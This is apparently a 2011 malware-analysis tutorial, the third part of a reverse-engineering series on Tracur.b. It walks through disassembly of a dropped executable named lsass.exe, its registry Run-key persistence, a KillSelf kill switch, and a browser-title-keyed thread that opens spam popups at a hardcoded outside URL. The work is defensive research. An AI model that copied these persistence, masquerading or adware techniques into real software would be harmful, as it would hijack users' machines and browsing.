Zoom Icon

Tracur Malware Analysis part3

From UIC

Tracur.b Analysis - Part 3

Contents


Tracur Malware Analysis part3
Author: Quequero
Email: Que addr.gif
Website: http://quequero.org
Date: 04/02/2011 (dd/mm/yyyy)
Level: Working brain required
Language: English Flag English.gif
Comments: Time to catch the spamming thread!


Tracur.b drops an executable that's used to perform one single tasks: spam the user. The executable's analysis is not tough at all since the malware coder left debugging information into the project, speeding up a lot our reversing session. Therefore the code we are going to analyze will be very straightforward and we'll figure out what's going on very easy. Enjoy the reading and don't forget to take a look at the first and second part if you've missed them.


Lsass.exe

Lsass.exe is the executable's name we're dealing with. It's not hidden using rootkit techniques so you can simply grab it from the following path:

%APPDATA%\SysWin\lsass.exe

pretty easy to spot.

Unpacking

Now load it into OllyDbg and soon you'll notice that's packed with the same packer we've analyzed in the first and second part, simply step till you get here:

00D369BD    5A              pop edx
00D369BE    F3:AA           rep stos byte ptr es:[edi]
00D369C0    57              push edi
00D369C1    8D7F 2A         lea edi,[edi+2A]
00D369C4    5F              pop edi
00D369C5    8B75 F4         mov esi,dword ptr ss:[ebp-0C] ; <--- Unpacked executable in ESI
00D369C8    50              push eax

Just dump it and you'll be done, remember to remove any unwanted byte from the byte.

Analysis

Let's go straight into the code, run IDA and let her crunch your lsass.exe, you'll soon notice that the first action performed by the WinMain() is to start a new thread:

.text:00402A31                 mov     [esp+1A48h+var_4], eax
.text:00402A38                 push    esi
.text:00402A39                 push    edi
.text:00402A3A                 push    0               ; int
.text:00402A3C                 push    0               ; dwStackSize
.text:00402A3E                 push    offset ThreadAddToStartup ; int
.text:00402A43                 call    __beginthread

This thread performs a really easy task, follow the code to the ThreadAddToStartup routine:

.text:004012A9                 call    GetUserLevel
.text:004012AE                 push    offset aAdm     ; "adm"
.text:004012B3                 push    eax             ; wchar_t *
.text:004012B4                 call    _wcsstr
.text:004012B9                 add     esp, 8
.text:004012BC                 test    eax, eax
.text:004012BE                 jz      short loc_4012EB
.text:004012C0                 lea     ecx, [esp+428h+hKey]
.text:004012C4                 push    ecx             ; phkResult
.text:004012C5                 push    offset SubKey   ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
.text:004012CA                 push    80000002h       ; hKey
.text:004012CF                 call    esi ; RegCreateKeyW

this function simply retrieves Windows version and username, consequently it registers a new registry key used to autostart the executable:

if (isWindowsXP() && isAdministrator())
  HKEY_LOCAL_MACHINE
  SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run

if (isWindowsXP() && !isAdministrator())
  HKEY_CURRENT_USER
  Software\Microsoft\Windows\CurrentVersion\Run

if (isVista() || isWin2k3() || isWin2k() || isWinNt())
  HKEY_CURRENT_USER
  Software\Microsoft\Windows\CurrentVersion\Run

if (isWin95() || isWin98())
 HKEY_LOCAL_MACHINE
 Software\Microsoft\Windows\CurrentVersion\Run

if (isWin7() && isAdministrator())
 HKEY_CURRENT_USER
 Software\Microsoft\Windows\CurrentVersion\Run

if (isSystem())
 HKEY_LOCAL_MACHINE
 Software\Microsoft\Windows\CurrentVersion\Run

Key name is: RTHDBPL, we've already met it in the previous part, pointing to the initial directory: %APPDATA%\SysWin\lsass.exe or %windir%\lsass.exe. At this point we know that:

  1. This component autostarts using the registry
  2. This component is not called/run by the malware dll...
  3. This component creates a mutex called SERPv2 (look into the WinMain() body)

Except for a lot of calls to OutputDebugString() and a dead-branch that leads to a DebugBreak() call (hey coder, where was your brain while you were writing the code?!?!?!), there are only a few interesting functions to examine.

SetKillSelfKey

This is a dummy name I've invented for the following function:

.text:00402BC0 loc_402BC0:                             ; CODE XREF: WinMain(x,x,x,x)+15Bj
.text:00402BC0                                         ; WinMain(x,x,x,x)+17Cj
.text:00402BC0                 call    SetKillselfKey

That's obviously a leftover of a debugging version:

.text:00401B8E                 call    IsUserSytem
.text:00401B93                 cmp     eax, 1
.text:00401B96                 jnz     short loc_401BA9
.text:00401B98                 lea     eax, [esp+8+hKey]
.text:00401B9C                 push    eax
.text:00401B9D                 push    offset aSoftware ; "SOFTWARE"
.text:00401BA2                 push    80000002h
.text:00401BA7                 jmp     short loc_401BB8
.text:00401BA9 ; ---------------------------------------------------------------------------
.text:00401BA9
.text:00401BA9 loc_401BA9:                             ; CODE XREF: SetKillselfKey+36�j
.text:00401BA9                 lea     ecx, [esp+8+hKey]
.text:00401BAD                 push    ecx             ; phkResult
.text:00401BAE                 push    offset aIdentities ; "Identities"
.text:00401BB3                 push    80000001h       ; hKey
.text:00401BB8
.text:00401BB8 loc_401BB8:                             ; CODE XREF: SetKillselfKey+47�j
.text:00401BB8                 call    ds:RegCreateKeyW
.text:00401BBE                 mov     edx, [esp+8+hKey]
.text:00401BC2                 push    14h            
.text:00401BC4                 push    esi            
.text:00401BC5                 push    1              
.text:00401BC7                 push    0              
.text:00401BC9                 push    offset aKillself ; "KillSelf"
.text:00401BCE                 push    edx             ; hKey
.text:00401BCF                 call    ds:RegSetValueExW
.text:00401BD5                 push    226h            ; dwMilliseconds
.text:00401BDA                 call    ds:Sleep
.text:00401BE0                 mov     eax, [esp+8+hKey]
.text:00401BE4                 push    offset aKillself ; "KillSelf"
.text:00401BE9                 push    eax             ; hKey
.text:00401BEA                 call    ds:RegDeleteValueW
.text:00401BF0                 push    offset aAstaLaVista ; "Asta la vista"
.text:00401BF5                 call    ds:OutputDebugStringW
.text:00401BFB                 mov     ecx, [esp+8+hKey]
.text:00401BFF                 push    ecx             ; hKey
.text:00401C00                 call    ds:RegCloseKey

What's this call for? Actually it checks for the user under which the malware is running on, if it's system a variable is set up like this:

  • "HKEY_LOCAL_MACHINE/Software"

if it's not system the variable is set up like this:

  • "HKEY_CURRENT_USER/Identities"

The code that follows this initialization will simply:

  1. Create a key with the just set up name
  2. Set a REG_SZ string with the name KillSelf to value ok
  3. Wait for 550ms
  4. Remove the key
  5. Print "Asta la vista" to the debugger

Apparently it's used as a test function to inactivate the malware, the reason I suspect it is simply because after setting the key there's a wait loop, most probably used to let another part of the malware to read and acknowledge it. My suspect were confirmed after finding the following function:

.text:00401A65                 mov     ebx, ds:GetUserNameW
                   ...
.text:00401A6C                 mov     ebp, ds:OutputDebugStringW
                   ...
.text:00401A74                 mov     edi, ds:RegOpenKeyExW
                   ...
.text:00401A80
.text:00401A80 while_1:                                ; CODE XREF: ThreadAutoKill+F7�j
                   ...
.text:00401A99                 push    ecx             ; size_t
.text:00401A9A                 call    ??2@YAPAXI@Z    ; new()
                   ...
.text:00401AB6                 call    ebx             ; GetUsernameW
                   ...
.text:00401ABD                 call    ebp ; OutputDebugStringW
.text:00401ABF                 lea     eax, [esp+22Ch+OutputString]
.text:00401AC3                 push    offset aSystem  ; "SYSTEM"
.text:00401AC8                 push    eax             ; wchar_t *
.text:00401AC9                 call    _wcsstr
                   ...
.text:00401AD3                 jz      short loc_401AED
                   ...
.text:00401AED                 lea     edx, [esp+22Ch+hKey]
.text:00401AF1                 push    edx            
.text:00401AF2                 push    20019h      
.text:00401AF7                 push    0            
.text:00401AF9                 push    offset aIdentities ; "Identities"
.text:00401AFE                 push    80000001h      
.text:00401B03                 call    edi ; RegOpenKeyExW
                   ...
.text:00401B13                 push    offset aKillself ; "KillSelf"
.text:00401B18                 push    ecx             ; hKey
.text:00401B19                 call    ds:RegQueryValueExW
                   ...
.text:00401B2A                 push    offset aOk      ; "ok"
.text:00401B2F                 push    esi             ; wchar_t *
.text:00401B30                 call    _wcsstr
                   ...
.text:00401B3A                 jnz     short Exit
.text:00401B3C                 push    1F4h            ; dwMilliseconds
.text:00401B41                 call    ds:Sleep
.text:00401B47                 jmp     while_1
                   ...
.text:00401B4C Exit:                             ; CODE XREF: ThreadAutoKill+EA�j
.text:00401B4C                 push    offset aIAmKilled ; "I am killed!"
.text:00401B51                 call    ebp ; OutputDebugStringW
.text:00401B53                 push    0               ; uExitCode
.text:00401B55                 call    $LN32_0

This is almost the same code used in the previous call, this is what it does:

  1. Checks the username to see if it's system or not, and initializes a variable
  2. Opens the registry key KillSelf and retrieves the value
  3. If the value is ok, it will kill the thread and print I am killed!

Spam Thread

This module is mainly used to spam, and it's not really hard to get it, let's begin with the following thread-routine:

.text:004029F0 ThreadSpam      proc near               ; DATA XREF: WinMain(x,x,x,x)+125�o
.text:004029F0                 push    esi
.text:004029F1                 mov     esi, ds:EnumWindows
.text:004029F7                 push    edi
.text:004029F8                 mov     edi, ds:Sleep
.text:004029FE                 mov     edi, edi
.text:00402A00
.text:00402A00 loc_402A00:                             ; CODE XREF: ThreadSpam+20�j
.text:00402A00                 push    0               ; lParam
.text:00402A02                 push    offset EnumCallback ; lpEnumFunc
.text:00402A07                 call    esi ; EnumWindows
.text:00402A09                 push    3E8h
.text:00402A0E                 call    edi
.text:00402A10                 jmp     short loc_402A00
.text:00402A10 ThreadSpam      endp

That's a simple loop that just call EnumWindows every 1 second, what's interesting is the callback function, translated here to pseudo-code for the sake of simplicity:

// .text:004028D0 ; int __stdcall EnumCallback(HWND hWnd, int)
// .text:004028D0 EnumCallback    proc near               ; DATA XREF: ThreadSpam+12�o

  if (GetWindowTextW(hWnd, &WindowTitle, 510)
    && (wcsstr(&WindowTitle, L"Explorer")
     || wcsstr(&WindowTitle, L"Opera")
     || wcsstr(&WindowTitle, L"Chrome")
     || wcsstr(&WindowTitle, L"Firefox"))) {

    pwSpamType = (const wchar_t *)GetSpamType(&WindowTitle);

    if (!wcsstr(pwSpamType, L"none") && SetPopupCount() == 1) {
      pwSpam = GetSpamType(&WindowTitle);
      pwLocalTime = GetFormattedLocaltime();

      wsprintfW(
        &buf,
        L"http://%s/se.php?pop=1&aid=%s&sid=%s&key=%s",
        L"roxifind.com",
        L"aGlkZGVu",
        pwLocalTime,
        pwSpam);

      ShellExecuteW(0, L"open", &buf, 0, 0, 7);
    }
  }
  return 1;

So basically this is what happens:

  1. A browser window is identified looking for Explorer, Opera, Chrome or Firefox in the window title
  2. A spam-type is retrieved using the window title (we'll delve into this later)
  3. A new "popup" is opened using a particular URL

Let's go a bit deeper into the analysis, the GetSpamType() function is pretty boring but easy to understand, here's just a piece:

.text:00401C80                 push    offset aCialis  ; "cialis"
.text:00401C85                 push    esi             ; wchar_t *
.text:00401C86                 call    _wcsstr
.text:00401C8B                 add     esp, 8
.text:00401C8E                 test    eax, eax
.text:00401C90                 jz      short loc_401C98
.text:00401C92                 mov     eax, offset aCialis ; "cialis"
.text:00401C97                 retn
.text:00401C98                 push    offset aPharma  ; "pharma"
                   ...
.text:00401CAA                 mov     eax, offset aPharma ; "pharma"
                   ...
.text:00401CB0                 push    offset aCasino  ; "casino"
                   ...
.text:00401CC2                 mov     eax, offset aCasino ; "casino"

A keyword is identified into the window title, and a string that's related to the identified topic is returned. So if we are browsing a casino webpage, the related string will be casino, if we browse for medicines, the related word will be pharma and so on. This string is used to create a popup that's related to what we are looking at. That's a smart move from the malware author ;p and it's called: targeted advertisement. So after identifying the topic of the page, and getting the current local time, a request string is built that will appear like this:

  • http://roxifind.com/se.php?pop=1&aid=aGlkZGVu&sid=<local time>&key=<topic>

Live Running

Let's start our VM and let's see what happens when this part of the malware is running. First of all we should take a look at the registry when the system is clean:

Tracur RegistryClean.png

And this is the same entry after running Tracur:

Tracur RegistryInfected.png

We have the malware version as the first value, that's actually 30, the installation date, the last date the malware ran, and some info about the popup presented to the user. Before testing the spamming capabilities let's open DebugView to see what are the messages sent to the debugger:

Tracur DbgView.png

Basically almost all the debug messages have been left intact, there are still traces of functions removed in the disassembly, but most of them are still complete. It's now time to open a browser and to look for a keyword in google, I've used cialis because it's the first one in the list, but you can search for any word listed into the disassembly. As soon as we hit the return key here's what happens:

Tracur Spam.png

On the left we have the window where I was looking for cialis, on the right there's the spam page. At the time of writing, the spam URL has been redirected to Wikipedia, even though when I started writing this tutorial it was still active. Anyway take a look at how the string has been built. This mechanism is pretty rough, but works someway ;p. We can now test the self-killing capabilities of the malware thread by setting up the "KillSelf" key into the registry:

Tracur KillSelf.png

Wow it worked ;p

Malware Intelligence

After analyzing the whole malware we can try to infer some conclusions: first of all the malware uses at least four different components:

  1. A packer
  2. A dll
  3. A downloader
  4. An executable

At least 3 different entities took part into the malware coding, maybe indirectly. In my opinion the job has been shared in this way

  1. Someone coded the packer for some kind of group/crew
  2. Someone else coded the dll and recompiled the gnutella client into a DLL
  3. Someone else coded the executable

I'm pretty sure that the DLL and the executable have been coded by different people, this is due to the fact that the writing style is very different from each component. More exactly my opinion is the following: some crew/group developed the DLL(s) and the packer, the DLL code has been shared/sold to other people that added the executable module into the dropper, and then released it in the wild. For this reason I'm also pretty sure that somewhere on the internet this DLL was wandering around alone, in similar forms but without the .exe attached, before this crew made Tracur.b. Some other clues points to the fact that we are dealing with at least two persons: the DLL and the packer requires some knowledge, and even without being sophisticated, they can accomplish their jobs. The executable module instead uses a very rough trick to spam the user, and there are a lot of mistakes into the code itself. So if you ask me we are dealing with at least two different coders. Let's take a look at the .exe resources to see if we're able to extract some more information:


Child Type: StringFileInfo
Language/Code Page: 1033/1252 // <- English
CompanyName: Andreas Hausladen
FileDescription: Dcc32.exe SpeedFix
FileVersion: 1.2.1.0
InternalName: dcc32speed
LegalCopyright: (C) 2008 Andreas Hausladen
LegalTrademarks:
OriginalFilename: dcc32speed.exe
ProductName: dcc32 SpeedFix
ProductVersion: 1.2
Comments:

Child Type: VarFileInfo
Translation: 1031/1252 // <- German

Is Andreas Hausladen the malware coder??? No clearly not ;p, he's only the developer of dcc32speed.exe that's a module used to speed up Delphi's IDE ;p, that's the most we'll be able to gather from the executable. We can suppose that this variant of Tracur was coded in east Europe since the main node used by the DLL is in Moldova, but the other nodes are in Holland so we can't really be sure about that.

That's all folks :), time to start with the next malware... Just let me find one that's interesting enough ;p.

<-- Read Part 2


Quequero


Disclaimer

I documenti qui pubblicati sono da considerarsi pubblici e liberamente distribuibili, a patto che se ne citi la fonte di provenienza. Tutti i documenti presenti su queste pagine sono stati scritti esclusivamente a scopo di ricerca, nessuna di queste analisi è stata fatta per fini commerciali, o dietro alcun tipo di compenso. I documenti pubblicati presentano delle analisi puramente teoriche della struttura di un programma, in nessun caso il software è stato realmente disassemblato o modificato; ogni corrispondenza presente tra i documenti pubblicati e le istruzioni del software oggetto dell'analisi, è da ritenersi puramente casuale. Tutti i documenti vengono inviati in forma anonima ed automaticamente pubblicati, i diritti di tali opere appartengono esclusivamente al firmatario del documento (se presente), in nessun caso il gestore di questo sito, o del server su cui risiede, può essere ritenuto responsabile dei contenuti qui presenti, oltretutto il gestore del sito non è in grado di risalire all'identità del mittente dei documenti. Tutti i documenti ed i file di questo sito non presentano alcun tipo di garanzia, pertanto ne è sconsigliata a tutti la lettura o l'esecuzione, lo staff non si assume alcuna responsabilità per quanto riguarda l'uso improprio di tali documenti e/o file, è doveroso aggiungere che ogni riferimento a fatti cose o persone è da considerarsi PURAMENTE casuale. Tutti coloro che potrebbero ritenersi moralmente offesi dai contenuti di queste pagine, sono tenuti ad uscire immediatamente da questo sito.

Vogliamo inoltre ricordare che il Reverse Engineering è uno strumento tecnologico di grande potenza ed importanza, senza di esso non sarebbe possibile creare antivirus, scoprire funzioni malevole e non dichiarate all'interno di un programma di pubblico utilizzo. Non sarebbe possibile scoprire, in assenza di un sistema sicuro per il controllo dell'integrità, se il "tal" programma è realmente quello che l'utente ha scelto di installare ed eseguire, né sarebbe possibile continuare lo sviluppo di quei programmi (o l'utilizzo di quelle periferiche) ritenuti obsoleti e non più supportati dalle fonti ufficiali.